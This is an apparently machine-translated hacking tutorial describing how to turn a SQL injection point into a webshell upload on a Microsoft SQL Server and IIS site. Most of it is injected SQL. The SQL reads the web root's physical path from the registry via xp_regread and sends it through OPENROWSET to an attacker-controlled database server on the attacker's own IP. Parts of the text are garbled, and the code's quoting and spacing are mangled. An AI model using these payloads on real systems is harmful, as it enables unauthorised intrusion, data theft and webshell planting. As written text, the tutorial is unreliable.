Breakthrough SQL error prompt upload webshell

Author: Mad Dog http://www.cnbct.org/

To get the SQL injection point, we first thought of the backup webshell. We threw it in the Nb and found that the SQL error information was blocked and the physical path was not obtained. Then we wrote a PP horse.
Think of a command OpenRowSet with a high permission for cross-Database Server queries, that is, to send an SQL command to a remote database and then view the returned results, but to start event tracking! We can write the website information to the database, and then % $ ^ % $ @#@ @ ^ % $ ~
First, create a SQL database on your machine.

Create Table [DBO]. [fenggou] ([cha8] [char] (255) on the other machine ))--

Execute declare @ result varchar (255) exec master on the other side. DBO. xp_regread 'HKEY _ LOCAL_MACHINE ', 'System/controlset001/services/w3svc/parameters/virtual roots', '/', @ result output insert into fenggou (cha8) values ('select. * From OpenRowSet (''sqloledb'', ''your own IP ''; ''s''; ''your password'', ''select * from pubs. DBO. authors where au_fname = ''' + @ result + ''') as ');--

In this way, the fenggou table will have such a record as select. * From OpenRowSet ('sqloledb', 'Your ip'; 'sa '; 'your password', 'select * from pubs. DBO. authors where au_fname = 'd:/Web, 1 ''') as

Needless to say, ''d:/Web "is the physical path read from the registry. then run declare @ A1 char (255) set @ a1 = (select cha8 from fenggou) exec (@ A1 );--

Select. * From OpenRowSet ('sqloledb', 'Your ip'; 'sa '; 'your password', 'select * from pubs. DBO. authors where au_fname = 'd:/Web, 1 ''') as

OK. Then, the SQL event tracker on your machine will display select * from pubs. DBO. Authors where au_fname = 'd:/Web, 1'
Wow, haha, the physical path is ready for writing the pony to upload the horse ~
PS: if an error occurs, convert it to a hexadecimal format. The above is a solution that fails during the occasional penetration. If you are helpless, you may have known it before. I smiled ~